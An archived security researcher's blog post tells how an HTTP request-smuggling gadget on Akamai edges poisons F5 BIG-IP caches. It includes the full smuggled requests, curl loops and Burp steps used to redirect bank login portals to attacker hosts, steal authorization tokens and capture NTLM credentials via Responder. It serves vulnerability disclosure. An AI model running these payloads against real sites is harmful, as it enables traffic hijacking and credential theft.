From Akamai to F5 to NTLM... with love.

From Akamai to F5 to NTLM... with love. - @deadvolvo, d3d, Malicious Group.

- Published: 2023-10-26
- Original: <https://blog.malicious.group/from-akamai-to-f5-to-ntlm/>
- Preserved from: https://blog.malicious.group/from-akamai-to-f5-to-ntlm/ (stored) on 2026-08-14
- Capture timestamp: 20231126173827

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

In the world of security audits, it's quite common for bug hunters to spend time trying to get around Web Application Firewalls (*WAFs*) like Akamai to exploit vulnerabilities. They might be looking for issues like Cross-Site Scripting (*XSS*) or SQL injection, etc... However, I took a different approach. Instead of bypassing Akamai's security, I found myself being able to attack Akamai's services directly. This approach led to discovering some new, unpatched 0day techniques. These techniques have been integrated into attack sequences that are incredibly difficult to detect.

Special thanks to both *@defparam* for hearing out my research when no one else would and *@albinowax* for his hard work on Burp-Suite, request smuggling techniques and for creating a blueprint for fuzzing for more gadgets.

Prerequisites

In order to follow along with this research, it is a good idea to have at least decent understanding of how Request Smuggling and Cache Poisoning bugs work in general. More specifically, I recommend reviewing the following resources first:

- https://portswigger.net/web-security/request-smuggling/browser/cl-0
- https://portswigger.net/web-security/web-cache-poisoning

I will also be using Burp-Suite Professional during this PoC, as well as the HTTP Smuggle bApp extension. This isn't required, but makes it a lot easier during the discovery process.

To follow along, I am scanning targets with the CL.0 gadget **nameprefix1** found in the following form within HTTP Smuggler bApp under CL.0.

[image: image]

By scanning some targets using the **namprefix1** gadget** **you will get a better idea of what is happening in this paper.

Discovery

Note: This paper will be covering 1 smuggle gadget out of about 10 that I use in my testing, however this paper will show how this gadget, originally found by @albinowax, can be modified to pin one provider against another in a brutal fashion as you will read soon.

As a freelance security researcher and bug hunter, I was already well acquainted with both Request Smuggling and Cache Poisoning bugs, and have had multiple reports on each in the past across all the platforms I hunt on. However, when *@albinowax* released his Malformed Content-Length paper, I didn't fully understand its potential on release. I was in the middle of some malware research and development and honestly didn't give it the attention I should have at the time. I was wrong.

Months later on a bug hunting engagement, I ran a HTTP Smuggler scan towards the end of my work day since it had recently been updated to include the Malformed Content-Length gadgets *@albinowax* had been working on previously. To my surprise, there was actually a hit, in fact, there was 3 hits over 25 subdomains.

The image below was one of the three hits that Burp-Suite picked up on, and I marked it up some so that I could explain this a bit.

[image: image]

The most obvious identifier in the above image is the smuggle gadget and variation being used. The **nameprefix1** is the smuggle gadget and the **TRACE** is a technique used to verify the gadget. I will explain this in the coming images.

The next thing we have are 3 different requests labeled from 1 to 3, and then 2 responses labeled 2 and 3 (*missing response 1 - this is by design*). Request 1 will be a normal GET request to the domain in question, and requests 2 and 3 will contain a modified request using a malformed-content length gadget, in this instance it is the **nameprefix1** gadget.

Let's take a closer look at request 1, 2 and 3.

```
GET / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1
Connection: close
Cache-Control: max-age=0
```

Request 1 will always be a normal GET request to the endpoint in question. The reason for this, is because the normal request should expect a normal response from the server. By packing in two more malformed requests right behind it (*within a tab group*), there is a chance the 2 malformed requests end up effecting the backend server and the normal GET from request 1. If this happens, the smuggle gadget is effecting either the cache, or the smuggle is poisoning the response queue for that server. Either way, it will detect the behavior.

Request 2 and 3 are identical, so in this example using the smuggle gadget detected above, **nameprefix1** using the **TRACE **variation, the requests will look like the following.

```
POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.8
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 27

TRACE / HTTP/1.1
Smuggle:
```

As you can see there are several changes from request 1, such as...

- GET switched for POST
- Connection header changed to "keep-alive"
- Foo header added
- Malformed Content-Length header with space prefix
- Content body is new request with TRACE verb

Now that we understand what the requests look like, let's take a look at the responses, and check why Burp-Suite thought this was important enough to trigger an alert. If we take a closer look at response 2 and 3 (*remember, no response 1*) you can see they are different.

```
HTTP/1.1 200 OK
Date: Wed, 25 Oct 2023 01:10:38 GMT
Server: Apache
Last-Modified: Wed, 29 Jun 2016 13:40:37 GMT
Accept-Ranges: bytes
Content-Length: 51
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html

It works!
```

Response 2 seen above looks like a normal response. But what if we take a look at response 3 since we know they are different?

```
HTTP/1.1 405 Method Not Allowed
Date: Wed, 25 Oct 2023 01:10:38 GMT
Server: Apache
Allow:
Content-Length: 222
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

405 Method Not Allowed

The requested method TRACE is not allowed for this URL.
```

Interesting isn't it? It seems the TRACE verb which was smuggled in requests 2 and 3 was actually processed by the backend as a valid request. We can verify this by the error we received. This is why Burp-Suite threw an alert when this was detected.

This means our smuggle gadget **namespace1** was successful, but what does this mean? At this point there is no impact at all, so we will need to push a little harder. The next thing to do is throw these 3 requests into Repeater, so we can manipulate requests 2 and 3 and test our results.

While on the same vulnerable host I detected earlier, I am going to send requests 1, 2 and 3 to repeater, by right-clicking each one, and selecting "send to repeater". Now we should have what looks like the following in Repeater.

[image: image]

The 3 tabs listed are the requests 1, 2 and 3 from the Burp-Suite alert. The first thing to do before moving forward would be to configure the Repeater options as the following image shows.

[image: image]

Make sure both **Update Content-Length** and **Normalize HTTP/1 line endings** are both deselected. This is because some smuggle gadgets abuse newlines, carriage returns and malformed content-lengths.

Next step is to group those 3 requests into a tab group, and you do this by clicking the small plus sign icon beside the tabs, and select **Create tab group**. You then select the 3 tabs, select a color and press **Create **button.

[image: image]

Once the new tab group is created, your tabs will now show all together and provide you new options for your send method. Next we need to change the Send button to **Send group** (**separate connections**) as seen below.

[image: image]

It is now setup to send all three tabs back to back when we press the send button. Now that we have done all the steps to start testing these detections ourselves, let's start poking at the modified POST requests (requests 2 and 3 in Repeater).

Since we know the **TRACE** verb and the web root path worked to throw the 405 error, what happens if we use **GET** instead, with a endpoint like **/robots.txt**? Let's start by modifying requests 2 and 3 using the following.

```
POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 35

GET /robots.txt HTTP/1.1
Smuggle:
```

The only things I changed from the original requests 2 and 3 were the smuggle verb and path, and then updated the content-length accordingly.

Now, let's go back to tab 1, which is the normal GET request (*which didn't need to be updated*) and click on send group 1 time, and check the response to see if anything changed. Remember, the last

time the **TRACE **verb threw a 405 error as expected, so what do we see now that we updated the smuggle content body?

[image: image]

As you can see, the result after 1 attempt did not provide us anything other than the expected 302 response for this endpoint. However, what happens if we press send 5 to 10 times within a few seconds?

[image: image]

It worked! After 6 attempts, the smuggled request was working. By changing the verb, path and content-length to reflect the values, I was able to get the smuggled endpoint and verb by accessing the main site using tab 1 (the normal GET). This means that when a user tries to access **https://redacted.tld/** they will be redirected to **https://redacted.tld/robots.txt** without them doing anything other than accessing the same endpoint we poisoned, in this case, the / folder.

At this point, it seems it is possible to poison any endpoint of this specific target, but only allows changing the verb and path, which worked. This may be enough if you are looking to chain the smuggle with a XSS, or another bug which you can chain it to, but I was pretty sure the smuggle gadget would only effect the local session or IP, and not the global internet wide cache... right? To make sure, I setup a disposable cloud VM instance, and ran the following command.

```
for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{http_code}" https://redacted.tld/; sleep 2; echo ""; done
```

The above command simply loops over and makes a request to https://redacted.tld/ and prints the status code. We should be expecting the status code to remain a 302 if the smuggle doesn't work globally. If we switch the status code to a 200, that means the smuggle is not only effecting the local session, but it is also effecting the network wide cache as well. While the loop is running in the cloud, go back to Burp-Suite and press the send button 5 to 10 times again, then go back and check the cloud VM output.

```
(user  hostname)-[~]
$ for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{http_code}" https://redacted.tld/; sleep 2; echo ""; done
302
302
302
302
200 ---- poisoned!
200 ---- poisoned!
302
```

Holy shit... that worked?! Now I know I am on to something, but I am still confused as I still don't know exactly why this was working on some targets, and not on others. I started looking at all the headers from each request from the positive detections I received from Burp-Suite during my

initial scan and I started to notice a pattern. A lot of requests and responses had artifacts indicating Akamai was the server responsible, for at least 75% of the positive smuggle indicators during Burp-Suite scans. So knowing there was a issue going on, I needed to enumerate Akamai Edge instances to get more information, and that is exactly what I did.

On the Akamai hunt

Knowing that there seems to be a weird smuggling issue with Akamai servers, I needed more evidence so I literally pulled every IP from the Akamai Edge ASNs, sorted them all, then ran a TLSX scan on each and every IP address. The reason I did this is because akamaiedge.net instances will contain the actual companies domain in the TLS certificate.

Here is an example. The domain **redacted.tld** is being hosted on Akamai Edge services as seen from the **host **command.

```
(user  hostname)-[~]
$ host redacted.tld
redacted.tld is an alias for redacted.tld.edgekey.net.
redacted.tld.edgekey.net is an alias for xxxx.a.akamaiedge.net.
xxxx.a.akamaiedge.net has address 12.34.56.78
```

If I didn't have the hostname, I would need to use a tool like TLSX from projectdiscovery to pull the certificate names from the IP's HTTPS layer as seen below.

```
(user  hostname)-[~]
$ echo "12.34.56.78" | tlsx -cn -san

12.34.56.78:443 [redacted.tld]
12.34.56.78:443 [prod.redacted.tld]
12.34.56.78:443 [cust.redacted.tld]
12.34.56.78:443 [demo.redacted.tld]
[INF] Connections made using crypto/tls: 1, zcrypto/tls: 0, openssl: 0
```

So, picture this, but with 100,000+ IP addresses. Not even kidding. I spread the job over 25 instances using a custom Axiom template, and it still took over 24 hours to pull every cert, then verify every Akamai Edge customer and company, then cross reference those with known BBP/VDP programs for testing, then sort those for further processing, etc...

I was left with 1000's of domains, so I threw them into Burp-Suite, and started running scans on the different malformed content-length smuggle gadgets available in the HTTP Smuggle tool, and about 24 hours later, my Burp-Suite instance was lit like a Christmas tree.

[image: image]

I initially thought... this can't be true. Does this specific gadget work on all these companies?! Am I doing something wrong, or am I looking at this all wrong?! I was not.

While this is neat little way to possibly abuse Akamai Edge customers, it wasn't anything mind blowing until I started playing with the smuggle requests a bit more. At this point, I had about 200+ targets to play around with, and found a way to take this specific (and a lot more) gadgets to the next level.

At this point in my research, I knew the following.

- I know of at least 1 gadget that effects Akamai Edge customers
- I know the gadget effects the global cache in a lot of instances
- I know I have some play with the smuggle content body for this gadget

This tells me now that I know there are a lot of vulnerable targets, I need to find a way to escalate the smuggle gadgets to increase impact. To do this, let's go back to request 2 and 3 from Repeater, and let's start to try some techniques.

```
POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 35

GET /robots.txt HTTP/1.1
Smuggle:
```

Remember from the list of *Things I know* from above, I know I have some play with the smuggle content body for this gadget, so let's see what happens if I try host header injections with the smuggled request. My thinking was, I know the target isn't vulnerable to host header injections directly, as I tried this prior to this point, but I didn't try to sneak a host header injection within the smuggle gadget, to bypass the front-end and its protections, and get processed on the backend directly as seen below.

```
POST / HTTP/1.1
Host: redacted.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 42

GET http://example.com HTTP/1.1
Smuggle:
```

By replacing the **/robots.txt** endpoint, for a host header injection payload using the direct address as the path, I was hoping to bypass front-end protections and have the backend respond directly. I also had to update the **Content-Length** to reflect the new size.

[image: image]

Shit! That didn't work. At this point I tried all the different types of host header injections and was getting a 400 error on each. I decided to go back and try 4 or 5 other domains that Burp alerted as vulnerable after another batch of scans, each had the same results, and even worse, only 2 of the 5 I tested allowed for global cache poisoning, the others did not. * damnit!

My excitement at this point was starting wane a bit, as I thought it was possible to poison targets, but it was not stable and didn't have a major impact without an already existing open-redirect or XSS to possibly chain to. Not only that, it seemed only about 25% of the vulnerable targets to local cache poisoning, were also vulnerable to cache poisoning at the global level... which makes finding high impact bugs a lot harder.

At this point in my research, I knew the following.

- I know of at least 1 gadget that effects Akamai Edge customers
- I know the gadget effects the global cache in SOME (25%) instances
- I know I have some play with the smuggle content body for this gadget, but all major changes have failed to this point.

After re-assessing my position, I needed to clear my mind, burn some Kush and come back later when I was in the mood for a possible research "L." When I came back, I wanted to know a few things (*if I could*). Like, why do only some targets allow for global poisoning and others don't.

At this point a few days had passed, and I had A LOT larger of a list of "vulnerable" Akamai targets to play with. First thing I did was check which of these new 1000+ targets was vulnerable to local

cache poisoning, then check which were vulnerable to global cache poisoning. Using the few gadgets Akamai was vulnerable to, I was able to find about 500 (+/- 10) domains, belonging to BBP programs, that were vulnerable to both local and global cache poisoning. From that list of 500, I pulled all the response headers for each of the 3 requests provided for each successful smuggle attempt. Well I'll be damned... almost 85% of the headers in the response have artifacts of F5's BIGIP Server. This means, Akamai edge customers, using F5's BIGIP have a global cache poisoning issue in most instances I found.

This was enough motivation to ramp up the research hours, because I knew at this point, I would be able to find enough BBP to earn some decent money, but also knew I had to increase the impact a lot higher before I could report anything worth it. Now it is time to find as many Akamai customers that were using F5's BIGIP server as well.

On the F5 hunt

Now that I know Akamai is allowing some odd smuggling behaviors, and I also know F5's BIGIP is vulnerable to a cache poisoning bug if the request is passed from Akamai edge. Yeah, I know this is a lot, and I am basically banking on using one major provider, to leverage an attack on another major provider, so I can profit. Hahaha, yeah, it is like that in 2023.

I was able to extract over 1000 Akamai customers who were also using F5's BIGIP, and were also either part of a BBP/VDP or had a security.txt file on the domain. I verified about 75% seemed to allow global cache poisoning using the basic gadget we used previously, and now it was time to find some impact.

I pulled up a few target domains belonging to major banks and financial corporations that were vulnerable, and starting poking a bit. I didn't find anything on the domain to chain to, so I went back to testing host header injections again, almost guaranteed rejection, but had to check. Here is the modified requests I was sending to this bank, same as before.

```
POST / HTTP/1.1
Host: redacted.bank.tld
Accept-Encoding: gzip, deflate
Accept: */*, text/smuggle
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1
Connection: keep-alive
Cache-Control: max-age=0
Origin: https://p4p9itr608.com
Content-Type: application/x-www-form-urlencoded
Foo: bar
 Content-Length: 42

GET http://example.com HTTP/1.1
Smuggle:
```

Using the same attempts from before where I got a 400, but on a new domain so maybe their server stack is setup different? After pressing send 1 time, I got the following response from the server, which should be our control (*normal response*).

[image: image]

However, after pressing send 5 to 10 times quickly, check the results now!

[image: image]

Holy shit! After multiple requests back to back, the host header injection actually took and in return poisoned the local session! To verify if this was also effecting the global cache, I ran another curl loop in a cloud VM instance using the following command.

```
for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{url_effective} --redirects-to--> %{redirect_url}" https://redacted.bank.t
```

While the command is running in the cloud, I went back to Burp and started the smuggle attack as seen above, and this is the curl output.

```
(user  hostname)-[~]
$ for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{url_effective} --redirects-to--> %{redirect_url}" https://redacted.b
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld/login
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld/login
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld/login
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://example.com/
https://redacted.bank.tld --redirects-to--> https://redacted.bank.tld^C
```

Let's fucking go! I am able to globally redirect that banks SSO portal to my own domain, in this case I was using example.com as a proof-of-concept, but this *should* allow any domain in its place. This is due to F5's caching policy when proxied from Akamai edge servers... big mistake.

Now that I found an attack chain that doesn't require the actual customer having a vulnerability in their network to work, I should be able to see how I can abuse this, and a few things come to mind.

God Mode Pwnage

At this point, I had an attack chain that abused Akamai edge to send malformed requests to F5 BIGIP, which cached it at the server level. This would be VERY HARD to discover as a customer of Akamai and F5, in fact, the security teams at Akamai and F5 were not actually sure how this was happening without a month+ long discovery process.

With this in mind, it was time for complete bug hunting chaos. I pulled every major company with a BBP program on the vulnerable list, and started redirecting login portals to a custom Burp Collaborator instance instead of the proof-of-concept domain **example.com**. The reason I am using a custom Burp Collaborator server with a custom domain is to avoid the blacklisting Akamai uses. Most banks and financial companies under Akamai automatically blocks any callback servers from interact.sh or Burp's callback domains.

The first server I went to was that bank with the SSO portal that was vulnerable from the last example above where I was able to smuggle **http://example.com** in the content body. This time I entered a collaborator hostname instead of example.com, and updated the content-length header accordingly.

After spamming the send button with our collaborator payload instead of proof-of-concept one from before, we start to get the following callbacks to collaborator.

[image: image]

As you can see, this specific bank is now leaking authorization tokens. By chaining a request smuggling bug on Akamai, to a cache poisoning issue on F5's BIGIP, I can steal traffic including

authorization headers without finding a bug on the banks network itself. This is called **God Mode Pwnage**. This is a direct cause of F5's caching issues, and a direct cause of Akamai's lack of header normalization in these smuggle instances. When put against one another, it is a corporate weapon of pwnage. Now that I know I can snag tokens for banks, let's see what else is leaking.

Over the next few weeks I found 20+ financial corporations, 10 to 15 banks, and endless amounts of tech companies, microchip companies, etc... I was able to write about 20+ bug reports showing impact of stealing authorization tokens and other internal information being passed to those domains.

[image: image]

Below is an example of the *FIRST 3* reports out of 20+ I wrote after this discovery.

[image: image]

While this was already a great find for me, I could have stopped here... but I didn't.

NTLM or GTFO

At this point I was already happy with my research, and I had already written many reports over 2 months of doing this. Both Akamai and F5 verified the severity and impact, but wanted to give me **NOTHING **for my time.

Because of this, I am going to show how to increase the impact even further for a red team operator. During my redirection to callback attacks from above, I was collecting tokens and authorization headers left and right, but finally I ran out of BBP targets to report to. On the last few targets, I was viewing the collaborator traffic on a large financial corporation, and saw this shit.

[image: image]

I thought, what in the hell is this?! A POST request captured on a host injected smuggle gadget?! I understand why the callback server would receive some GET requests, this is normal, but I wasn't used to seeing POST requests. This was VERY interesting to me, so I keep poisoning this specific domain to steal all the HTTPS traffic to see if this was a one-off, or some kind of Microsoft configuration using the vulnerable domain as its Auto-Discover host? During my attack, I found 2 more users sending POST requests, leaking some internal information like the first I found. I am no Microsoft Internals expert, especially when it comes to Office365/Outlook/Exchange configurations, to say the least, but I did know enough to understand what this line in the request meant.

```
Accept-Auth: badger,Wlid1.1,Bearer,Basic,NTLM,Digest,Kerberos,Negotiate,Nego2
```

Knowing this was a POST request, and that it was accepting NTLM as an accepted authentication protocol, I instantly thought of Responder.

I quickly setup another cloud VM so I could setup a listening Responder instance, and start listening on appropriate ports. To make this work with the smuggle, I simply used **nip.io** to create

a temporary hostname to use as the smuggle gadget host injection value. I then injected that new hostname, instead of the Collaborator callback, and wait for a response.

For the first few hours of checking periodically, I was getting traffic, but nothing was sending NTLM credentials. I thought maybe this was too good to be true, or that the POST requests from the Windows machines were not common, and may have to sit longer term to trigger the authentication process... but just as I was starting to think this was a bad idea, I got the following reply in Responder.

[image: image]

Holy shit! It worked! I am abusing Akamai, to abuse F5, to abuse traffic routes, to steal NTLM credentials. I almost couldn't believe this. I re-tested this on one other financial company with a similar tech stack, and got the SAME RESULT, dumped NTLM credentials! Apparently, the backend server is using the domain as their routing or auto-discovery host. The email client is blindly sending POST requests to this host looking for the reply from the server in a normal transaction, but when redirected, it sends that same request to the attacker controlled server, waiting for a response and directly to the hands of Responder.

Closing

On closing I want to say that I spent almost 3 months on this research, and was able to create a massive impact within two of the largest companies in the market, and thus a massive impact in all of their clients networks as well.

I also want to say, I have a total of about 10 smuggle gadgets I use, some I fuzzed myself and some are variations of *@albinowax*'s finds. One of these gadgets caused Akamai so much trouble, I told them I would not share that specific gadget until everything was patched, even after they offered me nothing. It left 1000+ domains (*their customers*) vulnerable to traffic hijacking attacks similar to the one I demonstrated above. This is the type of fucking dude I am... I am loyal to my word even when I disagree with their policies. However, they are vulnerable to many bug chains, including the one I shared in this paper... still.

Researchers have the opportunity to shop their research to Zerodium, or other initial access brokers to abuse for a *BIG BAG*, but ethically I chose not to. Instead, I presented this critical bug chain and its severity to both Akamai and F5. As a freelance researcher, this is how I earn my money, so does it matter if a malicious actor discovered this issue first? Do you honestly believe that compensating researchers with nothing is a fair trade-off for potentially losing billions for your customers in the coming years from another savvy threat actor? I now understand where I stand, and this marks the end of my willingness to report any findings to Akamai or F5 from now on. I have new research in the pipeline, waiting for their patch to address this issue, which, incidentally, won't be ready for another few weeks. When it is patched, I already have new techniques fuzzed and waiting to bypass any patches they put in place.

I treated each BBP/VDP program dealing with this bug with nothing but respect and willingness to help them fix the issue. 13+ companies and 100+ vulnerable domains secured so far.

If you need to get a hold of me or anyone on my team, you can email *info@malicious.group* and I will get back to you.
